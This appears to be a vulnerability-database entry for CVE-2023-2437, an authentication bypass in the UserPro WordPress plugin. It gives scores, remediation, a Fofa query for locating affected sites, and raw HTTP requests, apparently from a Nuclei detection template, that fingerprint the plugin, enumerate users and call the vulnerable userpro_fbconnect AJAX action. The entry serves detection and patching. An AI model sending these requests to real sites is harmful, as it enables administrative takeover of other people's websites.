| Title | UserPro <= 5.1.1 - Authentication Bypass |
|---|---|
| Author | intelligent-ears |
| Severity | Critical |
| Impact | Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts. |
| Remediation | Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73462 |
| CVE ID | CVE-2023-2437 |
| CWE ID | CWE-287 |
| Fofa Query | body="/wp-content/plugins/userpro/" |
| Tags | cve cve2023 wp wordpress wp-plugin userpro auth-bypass vkev |
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp/v2/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=userpro_fbconnect&id=k7RO5D&email=8whFO0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2437.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2437.pcap
N/AN/A